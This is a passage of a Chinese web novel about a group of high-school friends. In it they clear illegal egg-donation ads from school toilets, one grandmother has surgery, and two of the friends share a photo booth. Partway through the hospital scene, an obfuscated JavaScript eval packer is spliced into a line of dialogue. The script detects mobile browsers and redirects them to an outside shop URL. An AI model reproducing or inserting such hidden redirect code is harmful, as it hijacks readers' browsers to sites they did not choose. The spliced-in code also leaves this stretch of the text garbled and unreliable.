好一会儿后,张期期才松了口气,她沮丧道:“有什么事要告诉我,我也能帮忙的。” 「现在都搞定了,只等手术就行。要是有事需要你帮忙,肯定会叫你的,林听不好意思叫,我来叫!你就给我们当免费的劳动力吧。」 张期期眼角直抽,将今天她用了和他同一个借口请假的事情告诉了对方,手机对面顿时传来一声怒嚎:「张期期你坑我!!!」 * 翌日。课堂上。 张扬捶了捶刺痛的后腰,坐在讲台后的高凳子上,“下学期就高三了,极个别同学啊居然还假装生病逃课请假,老师希望不要再有下次了,听到没?” 虽说没指名道姓,但昨天谁没来上课,班上的同学当然一清二楚,他们纷纷看热闹般地回头看向许兰亭。 ……林听肯定不会装病的!那就是许兰亭了……哥们牛啊!这一招你高中生还有脸皮玩啊! 许兰亭:…… 他阴森森、咬牙切齿状,目光幽幽地看向张期期,好你个张期期,本来张老师都没发觉我装病的事…… - 中午食堂。 张期期、陈恕、许兰亭、林听和周嘉先几人围坐着一张桌子吃午饭,张期期偷偷和林听咬耳朵,向她询问了林奶奶的身体状况。 林听笑着道:“奶奶身体目前还挺稳定的,过两天就做手术了。” 她一开口,还不清楚发生什么事的周嘉先、陈恕纷纷停下筷子,望着她,林听也就三言两语解释了几句。 周嘉先点点头,“有需要的话找我,我能帮的肯定帮。” 陈恕:“需要人手也可以叫我。” 林听攥紧了手中的筷子,轻轻地吸了吸鼻子,笑着道:“我会的。大家放心吧。” 无论是热情、外向的兰亭、期期还是内敛、话不多的先哥、陈恕,他们真的都很关心她,遇上事情了,她也并不是只有自己一个人,她低头吃饭,掩去眼底的湿润。 * 放学后,校门口。 陈恕将被许兰亭扯住的衣袖用力扯开,他压了压衣袖上的褶皱,淡淡道:“到底什么事?” 刚才他们一行人如同以往一样道别后准备离开,然而他却被许兰亭悄悄扯住了衣袖,等到期期、林听、先哥他们离开后,许兰亭却还吞吞吐吐的…… 许兰亭脸色变了又变,想到书包里的东西,顿时深吸一口气,仿佛下定了决心似的,他低声道:“陈恕,帮我个忙!你……跟我过来。” 他骑上单车又返回学校里,“快点!” 陈恕认命地骑上单车跟在他身后,两人将自行车停在停车棚,找了个阴凉处的地方随便坐下。 傍晚的天空依旧天蓝云白,微热的风带着一股青草的香气,陈恕盘腿坐下,将书包放在腿上,靠着身后的树干,他望着不远处微波荡漾的天鹅湖,再次问道:“现在能说了吗?” 许兰亭挠了挠后脑勺,“本来我打算自己来的,但是突然想到好像我自己一个人弄不完,所以就叫了你,期期、先哥都走远了。” 陈恕:……说话不打草稿!明明是这家伙扯了他的衣袖,当时期期、先哥都还没走好吗? 他侧首盯着许兰亭看,不发一言。 许兰亭将斜挎的书包拽到身前,拉开拉链,拿出一小沓粉红色的小贴纸,还有几支马卡笔…… 他分了一半小贴纸和一支马克笔给陈恕,压低声音道:“女厕所门板后面有很多卖卵的广告,我想把这些广告撕下来,撕不下来的就用粉红色小贴纸盖上去,要不撕不下来又没办法完全盖住的话,我们就用马克笔把那些联系电话涂掉!” 陈恕一听,顿时愣在原地,“卖、卖卵?” “是!”许兰亭一想起差点上当的林听,就面色愤愤,“你知道卖卵对女孩子身体的危害有多大吗?” “卖卵是我国禁止的,是违法的行为,女孩子一生的卵子都是有数的……”许兰亭绷着脸向陈恕科普了这一项违法行为的危害性到底有多大。 陈恕听得眉头皱得死紧,他低头看着手中的小粉色贴纸,翻了一下,上面写的是警告用语,告诉女孩子卖卵的危害、温馨提示,告诉女孩子身体健康是多少钱都换不回来的,以及用红笔重点标注的“不可信”“违法”等几个大字。 “好!”他点头,攥紧了手中的粉红色小贴纸和马克笔,“不过……”他锐利的目光看向许兰亭,“你怎么会知道女厕所门板后面有这种广告的?” “啊……这、这个嘛……”许兰亭支支吾吾,“这个、不重要啦!” 他立刻转移话题道,“我们再等等,等到同学们放学都回家了之后再偷偷进去女厕所把那些广告弄掉。” 陈恕眼眸微转,片刻后眼底闪过一丝了然,他没有追问到底,再次点头表示同意。 校道上时不时结伴走过三三两两的同学,夕阳的光辉洒在天鹅湖湖面上,泛起金色的光芒,夏风轻轻吹着,湖面上金光闪闪。 陈恕从书包里拿出一张数学试卷和黑色水笔,他曲起膝盖,将试卷垫在膝盖上,开始算起数学题目来。 许兰亭一脸无语,“不是……你干嘛啊?要不要这么争分夺秒地学习啊?” 陈恕瞥他一眼,“你可以干等着。” 许兰亭:…… “真的!跟你们这些学霸在一起,压力太大了!哼,聪明就算了,还努力!真不给我们普通人留活路。”他嘟嘟囔囔着,也跟着从书包里拿出学习资料来看。 树影婆娑,夕阳渐渐沉,整个教学区渐渐安静下来…… 陈恕将试卷和笔放回书包,捏着粉色小贴纸和马克笔站起身来,“起来……时间差不多了。” 许兰亭看题看得脑门都懵了,他伸了个懒腰,将学习资料塞进书包里,起身拍了拍裤子,干劲十足道:“行动!” - 教学区一共五栋楼,三栋教学楼、一栋实验楼、一栋艺术楼,这其中教学楼高一、高二、高三各占一栋。 许兰亭:“高三那栋我们就不去了,学长学姐肯定还在学习。” … 陈恕、许兰亭决定先从他们高二本栋楼的女厕所开始,教学楼安安静静的,只剩下他们两人的脚步声,夕阳渐沉下,光线昏沉。 一层楼就两个女厕所,陈恕提议一人一间。 盛大的榕树树冠随风微微摇了一下,地面的黑影晃动,许兰亭抖了下,干巴巴拒绝了,“还、还是一起行动吧。” 陈恕露出一言难尽的眼神,“嗯。” 两人踩着楼梯上了最顶层,陈恕从走廊的杂物间里找出了一个黄色的提示牌放在厕所门口。 看着提示牌上面写着“清洁中,暂停使用”的字体,许兰亭比了个大拇指,“还是你牛!这个好,虽然说教学楼应该没人了,但万一呢……多一重保险总是好的。” 陈恕瞥了他一眼不说话,走到厕所门口,敲了敲门,问道:“请问里面有人吗?打扫厕所!” 他问了三次之后,都没有人回答,陈恕转身看向许兰亭,“确定没人了,进去吧!” 许兰亭目瞪口呆,“你、你做戏做得真足。” - 当看清里面每个隔间厕所后面门板上的广告时,陈恕、许兰亭简直毛骨悚然,真的是每一个隔间厕所门板上都有。 且门板上除了有贴上去的纸条广告,还有用黑色马克笔写上去的,甚至还有像一个大印章一样盖上去的,「2-10万招爱心捐卵、20万招试管代|孕,联系电话:13783xxxxxx」 许兰亭、陈恕面面相觑,都看到彼此难看的脸色。 “什么鬼!这么多!简直明目张胆,到底是谁敢这么嚣张地到我们一中来打这些广告!”许兰亭气急败坏,“学校的领导是怎么做事的,这么大的潜伏危机就在我们学校的女孩子身边。我们学校可是省排名第二的中学啊,打违法广告打到这来,真的太离谱了。” 年幼时曾经被拐卖的陈恕对这种违法思想有一定的了解,他抿了抿唇,沉声道:“当他们进行这项违法活动之后,女生在他们的眼里早就不再是独立的一个人,而是一件商品,学历、样貌、身高等等都是商品的附加价值,能够考上一中的女生自然自身智力、能力都是优秀的,而他们要的也正是这些女孩子的卵子。” “再者,这个年龄段的女生即使聪明,但说到底心智不够成熟,更容易被骗;另外这个年龄的女生都有自己的小秘密,不再事事告诉父母,所以是他们下手的最好对象,又年轻又单纯又可控……” 许兰亭气得捶了一下墙,开始骂脏话,“艹!不要让我抓到是谁搞的这些,抓到我弄死他!” 陈恕拍了拍他的肩膀,“别生气了,快清理掉这些东西。” “艹!” 他们也不再多话,各自沉默地将厕所每个隔间门板上的广告撕掉,又贴上一些警示用语、温馨提示的小贴纸,那些像红色大印章一样盖上去的广告,他们就用黑色马克笔将联系电话涂掉。 两人从最顶层楼的女生厕所一层层往下,一栋清理完之后再换一栋…… … 月上梢头时,陈恕、许兰亭才骑着自行车准备回家,校门口的门卫问了几句之后就将两人放行。 许兰亭脚撑在地上,稳住自行车,“陈恕……走,我请你吃饭。” 陈恕拒绝了,“不了,我还有事,先走了。” ……下学期是高三了,高三学校强制住校,他得趁现在有空余的时间多挣点钱,所以他得去值晚班。燕姨虽然是他妈妈的朋友,但他不能事事要别人帮忙,总归要自己独立生活。 * 周六,上午。 病房里,林听轻轻握着林奶奶的手,看着她手上的住院腕带,温声道:“奶奶别担心,医生说了各项检查评估都正常……” 林奶奶拍了拍林听的手,轻声打断她的话,“奶奶没有担心,我年纪都这么大了,已经活得够长了,只是……放不下你啊……” ……但凡小听有个靠谱的长辈,她都不愿意花钱做手术,也不知道这个手术到底要多少钱,小听又不肯说,一个劲地说她能解决。她一个学生能怎么解决啊!林奶奶内心愁得不行。 林听闻言,眼泪险些掉下来,她眨了眨眼将眼泪憋回去,“奶奶!不要这么说,您要陪着我,我不能没有您的。我没有爸爸妈妈了,您难道还想抛下我?” 林奶奶看着她微红的眼眶,意识到自己再一次无意伤害到孙女了,连忙道:“好好好,奶奶不说了不说了。奶奶陪着你高中毕业、大学毕业、结婚、生子呢……” 林听脸微红,这才破涕为笑。 “扣扣扣——”病房外响起了敲门声。 林听伸手轻轻按了按眼眶,收拾好情绪才去开门,“应该是医生来了……”她拧开房门,眼睛顿时瞪大,惊讶道:“你们怎么来了?” “嗨~没错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575434|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !林听,是我们。”期期挤着许兰亭举手笑着道。 门外张期期、陈恕、许兰亭、周嘉先挤成一团,每个人都跨了一只脚在房门处,谁都想先挤进病房,然而房门就那么点大…… 林听:……不是……这房门有什么好挤的!怎么先哥、陈恕也这样?是和期期、兰亭呆太久了,同化了吗? 她额角抽抽,赶紧让开,生怕他们几人战场升级殃及无辜的她。 半响,期期凭借着“一力降十会”成功将其余人挤开了,率先第一个走进病房,“林奶奶……我来看你啦……” 张期期走入病房后,陈恕、周嘉先瞬间撤力,许兰亭差点扑了一下,他瞪了他们一眼,随即开开心心地喊道:“林奶奶,是我,小许来了……” 陈恕、周嘉先礼貌地和林奶奶打招呼。 本来心底充满忧愁的林奶奶看着他们顿时被转移了注意力,张期期、许兰亭……她是认识、见过的,也知道他们和自家小听是很好的朋友,看着这些同龄的孩子,她心底觉得宽慰了一些。万一她手术不顺利,有这几个朋友,小听至少不用一个人扛着… 没过多久,房门再一次被敲响,这一次是医生和护士们。 很快,林奶奶就被推进了手术室,林听作为家属在手术室外等候,张期期、许兰亭和陈恕、周嘉先都陪着她、安慰她。 林听微笑着摇摇头,示意他们不用担心,这一周来,医生找她谈过几次话,包括向她介绍病情、让她献血、以及谈了手术风险,甚至昨天还有麻醉师医生来评估她奶奶的身体条件,来确定麻醉的剂量,这一切她都过来了…… 这时,麻醉师从手术室内走出来,向林听告知了麻醉风险,又让她签字。 林听攥紧手心,深吸一口气,最终签下了她的名字。 手术室门口红色的“手术中”灯亮了,她紧紧地盯着亮着的红灯,执拗地站在原地。 见状,张期期牵着她的手,用力地握了握,给她力量,她轻声道:“我们过去那边坐着等吧。手术至少要三个小时,你得好好照顾自己,林奶奶手术完还需要你呢。” 林听闻言,点了点头,顺从地坐在长椅上。 张期期、陈恕几人坐着偶尔也聊一聊,讨论讨论这几天遇到的各科目难题,林听知道他们是为了转移她的注意力,便也跟着说了几句。 手术一直做到了十一点多还没结束,周嘉先和陈恕便决定去打盒饭过来,大家坐在手术室门外边吃边等。 林听虽然没有胃口,但还是努力地吃了一些。 陈恕、周嘉先收拾了一下,一起去丢完了垃圾,两人刚回来后,手术室门口的灯突然变成绿色的,片刻后,医生从里面走了出来,喊道:“124号床林香霞的家属呢?” 林听腾地一下子站了起来,跑过去,焦急道:“我就是,我就是林香霞的家属,医生,我奶奶怎么样?手术顺利吗?” 医生:“手术很顺利。” 林听红着眼眶连声道:“谢谢医生,谢谢医生!” 医生:“等会儿我们会把病人转入监护室监护,顺利的话两三天就可以出来了,监护室里到时候有护士和护工照看,不用担心病人的进食这些问题,到时候再转到普通病房观察一阵,没问题就可以出院了。” 林听:“好!谢谢医生。” 医生和护士将林奶奶推出手术室,林听跑上去跟在一旁看着还没醒过来的奶奶,他们将林奶奶推入了监护室。 隔着窗玻璃,林听提着的心终于缓缓落下,她“呜……”的一声捂住嘴巴,蹲在地上无声哭了出来。 张期期、许兰亭一左一右地蹲在她的身边,轻轻拍了拍她的肩膀,陈恕、周嘉先满眼关切地看着她的背影。 …… 手术后第十二天,林奶奶顺利出院了,虽然后续还要吃药调理和时不时地复查,但压在林听心上的阴霾终于散去了,她恢复了以往和张期期、许兰亭、陈恕、周嘉先几人打打闹闹的生活。 夏日晚风悠扬,天边卷起霞红的火烧云,许兰亭像往常一样骑着自行车送林听回家,那条总是出现少年飙车党的何榕大道因为许兰亭的举报,市政府采取了一系列行动,交警重点关注这条道路,因此,飙车党已经很久没有出现了…… 夏风吹拂过少女的脸庞,一缕发丝凌乱地垂在林听的脸侧,她伸手轻轻将其别在耳后。 “兰亭,现在这条路已经没什么危险了,以后我可以自己回家的。”林听微微侧头看了许兰亭一眼。 ……她知道他和期期都住在皇家园林别墅区那边,虽然说没有很远,但也不近,兰亭他每天送她回家,然后再自己骑自行车回家,路上花费的时间太长了。 许兰亭下意识啊了一声,直球道:“可是我想送你回家啊。”他说完才意识到自己把心里话说了出来…… 少年余光瞥了一眼脸色蓦然微红的少女,羞涩仿佛会传染一样,少年突然左顾右盼起来,假装在看周围的景色,“啊、这个榕树越长越大了哈!” 嗷——不是,他为什么要说这么白痴的话,这榕树已经够大了,再长他也看不出来是不是更大了! 林听突然“噗嗤”一声笑出来,何榕大道笔直宽阔,两侧的榕树树冠在半空中交汇,洒下一整片的树荫,整条大路上就她和许兰亭两人,带着凉意的夏风吹得她心底充斥着安宁和惬意。 林听蓦然减速,慢慢停下了自行车。 “怎么了?”许兰亭紧跟着刹车,脚撑在地面上。 林听将自行车推到榕树下的人行道上,人行道上有着一排长椅,上面零星落着几片树叶。她伸手轻轻将落叶扫到地上,随后坐在长椅上,“兰亭……我其实想问你个问题……” 许兰亭将车停稳,也跟着坐在长椅上,他侧首不解地望着少女白皙的侧脸,声音忐忑:“啊?什么问题?” 林听转过头来,与其四目相对,神色平静道:“兰亭,你喜欢我吗?” 少年的脸轰然变红,整个人抖抖嗦嗦起来,眼神闪躲,仿佛想挖个坑把自己埋了一样,然而林听一直平静着注视着他。 许兰亭顿了顿,意识到眼前的女孩子真的很在意他的回答,他顾不上羞怯的心绪,重重地点头,“喜欢!很喜欢很喜欢!” “那你到底喜欢我什么呢?我想不明白……我一直是一个内向又少言的人,不开朗不活泼不能给别人带来欢乐,沉闷无趣的我你为什么会喜欢呢?” 闻言,许兰亭皱起了眉头,他不解地看向她,“就算大多数人喜欢开朗、外向的女孩子,但那对于我来说,也只是外界的参考而已,我不喜欢所以就不参考。我清楚自己喜欢的就是你这样的……” “你也不用去参考外界的声音,不用企图去让自己变得很外向,内向挺好的!”许兰亭再次肯定道。 林听一怔,呆呆地望着身旁的少年,她看到少年似乎微微苦恼了一下,若有所思道:“但……唔……如果涉及你安全、利益的东西一定要去争取,一定要勇敢发言!” ……“好。” 81. 第 81 章 - 七月,京照市一年最酷热的季节终于来临了,夏日高悬、阳光晒在皮肤上能让人感受到热意,空气闷热到令人时不时觉得心烦意乱,唯有躲入开着空调的教室才能松一口气。 校道两旁的榕树遮天蔽日,洒下一大片阴凉。这条道路是前往距离教学楼更远一点的学生第二饭堂,张期期、陈恕、许兰亭、林听还有周嘉先此刻正走在这条道路上。 这是唯一一条去食堂吃饭不用晒到太阳的路,所以哪怕学生第二饭堂离教学楼更远一点,学生们为了不晒太阳也大多数选择了这一个食堂。 “好热啊!热得我刚刚都没吃几口呢!”张期期以手做扇在脸侧扇了扇,然而扇起的风却带着热意,她皱了皱眉,无奈放下手。 许兰亭也抱怨道:“谁不是啊,食堂居然没有空调,这合理吗?这不合理啊!”说着,他又叹了一口气,“每次我想把午饭打包带进去教学楼,都被教学楼门口的保安看见了……” 陈恕抿了抿唇,“学校规定吃的东西不能带进教学楼的,你拎着午饭怎么可能进得去……” “哎!”许兰亭长叹口气。 -不远处,天鹅湖微波粼粼,湖面上几只白色的鸭子游着水,发出几声“嘎嘎嘎”的叫声。 许兰亭下意识望了一眼,随口道:“烤鸭肉不知道好不好吃?” 话音刚落,他的身旁顿时响起了几道抽气声,张期期猛地一下拍了他的手臂,惊声道:“你疯了吧!想什么呢?这可是我们学校的神兽啊!”……虽然是他们学生之间自己认定的。 林听不赞同道:“兰亭,不可以的哦,学长学姐他们以后回来找不到神兽们会失望的。” “啊,没有没有!我就随便说说的嘛!我怎么可能下去抓鸭子啊!”许兰亭一脸无语。 周嘉先:…… ……难道不是因为你太不靠谱,所以才会产生这个离谱的想法,她们也才会信吗? 说到学长学姐,张期期一行人下意识地望向那栋独属于高三的教学楼,那栋教学楼在上个月高三学长学姐们狂欢过后就搬空了,而他们这一届八月底高三开学就要搬进去了。 一股惆怅的滋味突然涌在张期期的心头,“明年这个时候,我们也已经毕业了。” 林听点点头,“其实时间真的过得很快,一眨眼我们就是这个学校最大的学生了,我还记得我高一刚入学的时候,因为学校太大了,我还迷路了呢!” 陈恕、周嘉先望着那栋搬空的教学楼沉默不语,那一天那栋教学楼在夏日飘起了“雪花”,无数张试卷从每一层的走廊往下扔,试卷随着夏风飘飘扬扬最终缓缓落到地面上,高考这场考试也尘埃落定,学长学姐又唱又喊着:“毕业了——” 校领导站在教学楼面前一遍遍地劝着“不要扔了、不要扔了”。 而他们高二生则是扫楼一样从最下面一层楼的教室一层层往上,询问着,「学长学姐,有没有什么好的复习资料,有没有压箱底的学习秘诀……」 一年后的他们也会像当时的学长学姐们一样吗? “哎哎哎!回神啦!干什么呢你们,热死了,还不快点跑回教室!”许兰亭拍了拍手掌,打断了其余人惆怅的心情,“高考都还没参加,你们惆怅什么……” 说完他率先从阴凉的树荫下跑出去,往教学楼跑去。 张期期立刻拉住林听的手追上去,怒道:“你这块木头!!” 陈恕、周嘉先对视一眼,两人均是眼神无奈,但嘴角却带着笑意,周嘉先:“走吧,回教室。” “嗯。”陈恕点头。 - 皇家园林别墅区,张家。 今天是周五,放学后张期期背着沉重的书包,手上再抱着好几本厚厚的各科目复习资料推开了家门,她在玄关处换鞋时,抬眸望去便看见她妈妈正背对着她,站在满面的玻璃窗前打着电话。 “是吗?真的啊!那可太好了……我一定会去看的。” “嗯……我都好多年没见你们了,也是……这些年你们都很忙,全国各地到处跑……” “那这次,我们大家可要好好聚一聚,聊一聊!” “……” 张期期眨了眨眼,惊奇地望着她妈妈的背影,哪怕她没有看见对方的神情,但单单从语气上就能听出她妈妈真的很高兴,很期待… 她将复习资料搁在玄关上,趴在玄关的栏杆处,手撑着下巴,唔……妈妈这样子好像年轻小女孩期待又兴奋的语气啊! 张期期站在玄关处等着戚和风打完电话,半响后,戚和风恋恋不舍地挂断了电话,转过身来时,她眼底荡漾着真挚、外泄的笑意。 “妈!谁的电话啊?什么事让你那么高兴?”她将沉重的书包放在沙发上,跑过去挽住戚和风的手臂。 戚和风眼底带笑,拉着张期期坐在沙发上,“是你张阿姨。” 张阿姨…… 张期期迷惑一瞬后恍然大悟,“啊!是不是妈妈你以前唱戏的朋友?” 戚和风笑着道,“是,当时我和你张阿姨都是欧阳老师收的弟子,我们在欧阳老师家里学戏曲的时候,我们还认识了好几个老师之前收的弟子,都是同龄人,我们一共六个人一起学习一起长大。那段时光啊……” 说到这里,戚和风眼底露出深深的怀念。 张期期沉思片刻,“欧阳老师!噢,我想起来了,妈妈,是不是我十岁那年你带我去参加的葬礼就是欧阳老师的葬礼……” 关于这件事,她是有一些印象的,那也是她第一次直面“死亡”的含义。 戚和风闻言顿时一滞,方才欢欣的眼神慢慢沉郁下来,老师直到去世前都没有原谅她,而她妈妈也是不愿意再见到她,鹿海市她已经很多年没有回去过了。 戚和风扯了扯嘴角,微微笑道:“嗯,不说那个了,你张阿姨打电话过来,说下个月她们会来京照市中心大剧院表演,邀请妈妈还有你一起去参观。” 张期期兴奋道:“哇——太好了,妈妈我好期待啊,我从来没有看到你登台表演过,真的好遗憾啊,但没机会看妈妈表演,我看张阿姨的也行,唔……到时候我大概能想象妈妈上台表演是什么样的了。” 她登台表演是什么样的…… 戚和风愣了愣,思绪飘回了十几年前那个在舞台上闪闪发光的自己,她脸上不由地浮起一丝笑意。 然而下一刻,她又蓦然想到那些收藏在衣帽间里十几年都没有拿出来过的戏曲用具收藏品,她的笑意渐渐消失,曾经还没嫁进张家的时候,她若是能有其中一件,大概会激动得夜不能寐,时不时拿出来看,然而现在……她拥有得越多,却越没有勇气去面对那些东西…… “妈,你怎么啦?”张期期望着神情顿郁的戚和风不解问道。 戚和风笑了笑,摸了摸张期期的发顶,温声道:“没什么,我们吃饭吧。” “爸爸今天不回来吗?” “嗯,他今天晚上有应酬,不回家吃晚饭了。” …… 吃过饭,张期期陪着戚和风看了一会儿电视后,就背上书包,抱着她的复习资料起身往五楼上去。 “真重!”张期期嘟嘟囔囔道,随手将书包和复习资料放在房间的沙发上。 她走过去将窗户打开,让室内空气流通,再将空调调到适宜的温度,她就是喜欢开着窗户吹空调。 从窗内望出去,入目所及是郁郁葱葱的高大树木,皇家园林别墅区的绿植比率是很高的,路灯隐藏在树木中,光线昏暗,整个小区静悄悄的。 皎洁的月亮洒下一片银辉,张期期坐在窗前埋头奋笔疾书。 期间,她偶尔起来上上厕所,喝杯水,就这么一直刷题刷到了晚上十二点才去洗簌。 当她躺在床上时,突然想起来美术培训班的老师让她重新买一些画笔,她放在培训室的画笔已经磨损得太厉害了。 唔……明天正好去商都买笔,后天刚好用上!完美! * 翌日,周六。 自从步入高二下学期之后,张期期一改周六睡到天昏地暗的习惯,她像平时上学日一样早早起来,背背英文单词,读读英语“万金油”好词好句,哪怕对英语再避之不及的她,也不得不硬着头皮逼迫自己学习起来…… 上午八点,她下楼吃了个早餐,随后坐车前往商都。 在京照夏季,上午同样是炎热的,张期期下车之后十分佩服地看着商都门口一个穿着熊猫公仔服的工作人员,对方拿着宣传单和一大捆的彩色气球站在门口,发给路过的游客。 小孩子蹦蹦跳跳地跑过去和熊猫公仔服工作人员合影。 金河湾商都里面是有店家在做活动吗?还是刚开了一家新店在宣传啊?张期期思绪乱飘……总之她相当佩服在这么大热天里还穿着熊猫公仔服的工作人员! 劳动最光荣! 张期期也没多想,攥着斜挎包的袋子往商都里面走去,然而她刚一只脚踏入门口,熊猫公仔人就拦住了她,张期期看了一下对方手中的传单,下意识摆了摆手,“谢谢,我不……”需要…… 她话还没说完,手中就被塞了两条气球线,张期期愣了一下,抬头往上看,啊……气球颜色还是她喜欢的蓝色和黄色。 “给、给我的?”她不确定地问道。 熊猫公仔头使劲地点了点,张期期忍俊不禁:“好吧!那谢谢你了,国宝大熊猫。” 这时,几个小孩拉着她们的家长也跑了过来,“你好,气球可以给我们一个吗?” “可以也给我们一个吗?我拿张传单看看吧……” “妈妈,熊猫好大好高啊!” “请问能和我女儿合张影吗?” “……” 张期期见一群带小孩的家长围住了大熊猫公仔人,她这个高中生自觉地攥着两个气球离开了。 穿着厚厚、毛茸茸熊猫公仔服的陈恕似有所觉地转身望过去,少女步伐轻快,她的背影上了商场二楼渐渐消失。 额头汗珠密布,有一颗顺流滑进了眼眶里,又酸又涩的刺痛感,陈恕下意识闭上眼,缓了片刻后又重新睁开眨了眨,眼睛才再次舒服起来。 他带着又重又厚的头套,要伸手擦汗的话,还得将头套摘下来,再将上身的衣服公仔服脱一半把手从里面解放出来,太麻烦了,于是他便任由汗水滑落脸颊。 身前的小女孩撅着嘴攥着一个气球跟着她妈妈离开,她稚嫩的声音隐隐约约传过来,“妈妈,为什么那个大姐姐能有两个球球,我只有一个啊?是因为那个大姐姐更漂亮吗?” 陈恕汗颜:…… - 张期期挑完了画笔和颜料之后,心满意足地拎着一大袋走出店里,她拐个了弯之后,看到不远处开了一家新的店,店门口摆放着好几个花篮。 咦?新开的甜品糖水店?嗯……张期期看了一眼系在手腕上的气球线,恍然大悟,嘟囔道:“原来就是这家店在做宣传啊!” 好吧……既然都拿了人家两个气球,那就去光顾一下吧。 金河湾商都是个中间镂空,环绕式的圆柱型建筑,甜品店就在二楼正对着大门的绝佳位置,因此坐在玻璃窗边的张期期边吃着甜品、喝着奶茶,边隔着玻璃看着楼下商都门口还在发宣传单的大熊猫公仔人。 店内的空调温度开得很低,全冰的奶茶喝进嘴里,张期期冻得一个哆嗦。 隔着满面的玻璃墙,张期期百无聊赖望着商都一楼的正门,她的视野里出现了一家三口,那对夫妻……好像有点眼熟。 她思考了一瞬,继而皱起眉头,她想起来了,那对夫妻就是陈恕的亲爸还有继母…… 晦气!张期期翻了个白眼,看来那个男生应该就是陈恕同父异母的弟弟吧? - “儿子,快过来,我们一家拍张照片吧。” 陈家宝看着站在熊猫公仔人身边的妈妈,一脸不乐意,“我才不要,有什么好拍的,太弱智了!” 陈岩笑道:“你小时候不是最喜欢熊猫的吗?那时候还天天让我们带你去动物园看熊猫。” “爸,你都说是小时候了,我现在长大了,一点儿也不喜欢熊猫,而且这只熊猫是假的啊,我又不是那些智障小孩。”陈家宝嚷嚷道。 “儿子,拍 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何其可笑……陈恕心中冷嘲,但、他需要这份兼职! “一、二、三。”手机咔嚓一声,留下了这一刻的场景。 陈岩向中年男人道过谢之后,拿回了手机,一家人看都没看他一眼,说说笑笑地绕过他,走进了商场里面。 陈恕回头看着他们的背影,片刻后,他将沉重的头套拿下,汗水浸湿了他额前细碎的头发…… 少年望着他们的眼神极为复杂,有恨有怨,然而最眼底最深处却还是带着一丝丝的羡慕。 二楼,甜品店里,张期期咬着奶茶的吸管目瞪口呆,她缓缓抬眸看了一眼被她系在手腕上的两色气球,她说呢,这个熊猫公仔人怎么“偏爱”她,原来是陈恕! 将方才那一幕看在眼底的张期期皱起了眉头,本来大夏天的穿成这样已经够难受了,陈岩一家三口还给他们陈恕添堵! 气死她了!拍照拍照拍什么照!要不是兼职的原因,他们陈恕才不想和这一家三口合照呢!晦气! 张期期神色愤懑,然而下一刻她脸上的神情渐渐消失了,愈趋平静。 他在看着那一家三口的背影,她的视力很好,她知道他恨他怨,但这般伫立地看着渐渐远去的背影,他的眼眸中还是露出了细微的羡慕。 她不知道他是不是想起了年幼时他们一家四口的合照,她的脑海里浮现了在滑雪山庄时,他拿给他们看过的那张照片,那张仅剩的、唯一的一张旧照。 张期期看着抱着头套的少年,觉得心底有些难过,然而她余光一瞥,视线突然一顿,那是商场一楼停放着的自助照相机。 张期期灵光一闪,眼眸微微转了转,随即起身走向前台结账。 结完帐之后,张期期和前台的收银人员道:“商场门口那个男生是你们兼职的工作人员吧?他长得好帅啊,我可以和他拍张合照吗?刚刚就是他让我上来这里吃甜品的,嗯……确实还不错哦~” 她心里偷偷盘算着,嗯,告诉他们自己是陈恕推荐进来吃东西的,她也消费了,让他们的工作人员在上班时间给消费者合一张照片,应该可以的吧? 果不其然,前台的收银人员立刻道:“啊!可以可以的,您下去和他说一声就行。” “谢谢……” 张期期从电扶梯下去,悄悄地走到陈恕身后,指关节轻轻扣了扣对方的头套,在陈恕转过头来的时候,快速蹲下了身子。 陈恕微微皱眉,没人吗?可是刚才好像有人在敲他的头套吧?他望了四周一眼,却没发现什么,便转头望向商都外面的天,快到中午了吧? “叩——” 陈恕顿了下,猛然转头,张期期灿烂的笑脸在他眼前放大,她扒着头套的嘴巴,“surprise——” “期期……” 陈恕将头套拿下来,抱在怀里,“你怎么知道是我?”他刚才拿气球给她的时候,明明没有开口说话啊,她当时也没有认出来他啊…… 张期期指了指身后二楼的位置,“我刚在那里吃东西,所以……嗯……看见了!” 她这么说,陈恕瞬间明白了,他抿了抿唇,有些烦闷。 “等会……”张期期将拎着的东西放在地上,随后从身上背着的斜挎包里拿出一包纸巾来,她抽出一张将陈恕额头上细密的汗珠擦掉。 “我们也去拍张照片吧?”张期期拉着他的手臂,指着不远处一个自助照相机器,“那儿可以拍照,相片当场就可以拿的。” 说着她伸手一捞将地上的袋子拿上,扯着陈恕的手臂就想走。 陈恕连忙按住她的手背,“等等、期期……我还在上班呢,不能走开的。” “这个嘛,我已经帮你问过了,你们店前台的收银人员说可以哦……”张期期将刚才她自己的小算盘告诉了陈恕。 陈恕眼底浮现笑意,什么收银人员,那明明是老板娘,他道:“好。” - 张期期拎着袋子拉着陈恕过去,那是一个像电话亭大小的机器,掀开帘子后,里面有台可以触屏的机器。 张期期挑选着照片边框,陈恕从口袋里拿出张十块钱的纸币投进机器里。 “好了好了,快,陈恕看镜头。” 陈恕闻声下意识抿着唇,神色僵硬地盯着机器前的镜头看,与此同时,张期期突然靠在他的肩膀上微笑着,少年眼底闪过惊讶。 这一刻,镜头定格,一分钟后照片出来了。 张期期拿出手机对着照片拍了好几张后又递给陈恕,“你看,你也有家了,这是我们小两口的合照。” 热意瞬间涌上陈恕的脸,少年手足无措,而张期期微微歪着头,热情又大胆地看着他。 羞怯到极致的陈恕突然气笑了,“张期期,你到底是不是女孩子?还有我还未成年呢!” …… 夏日绵长,谁也没想到后来的他们一别多年,甚至离别的时间比他们相处的时间还要漫长,这张小小的照片在陈恕的手中随着时光日渐模糊…… 82. 第 82 章 - 从金河湾商都回来之后,张期期在家吃了个午饭便跑上了五楼,回到了房间里。 京照一中每个周末都发很多张试卷,各个科目都有,虽然说老师没有规定一定都要完成,但因为上课的时候,老师们会时不时选择其中一张其中几道题立刻就开始讲,所以他们学生都会尽量全部做完,避免上课同学们已经进入解题模式了,他们还停留在读题模式上。 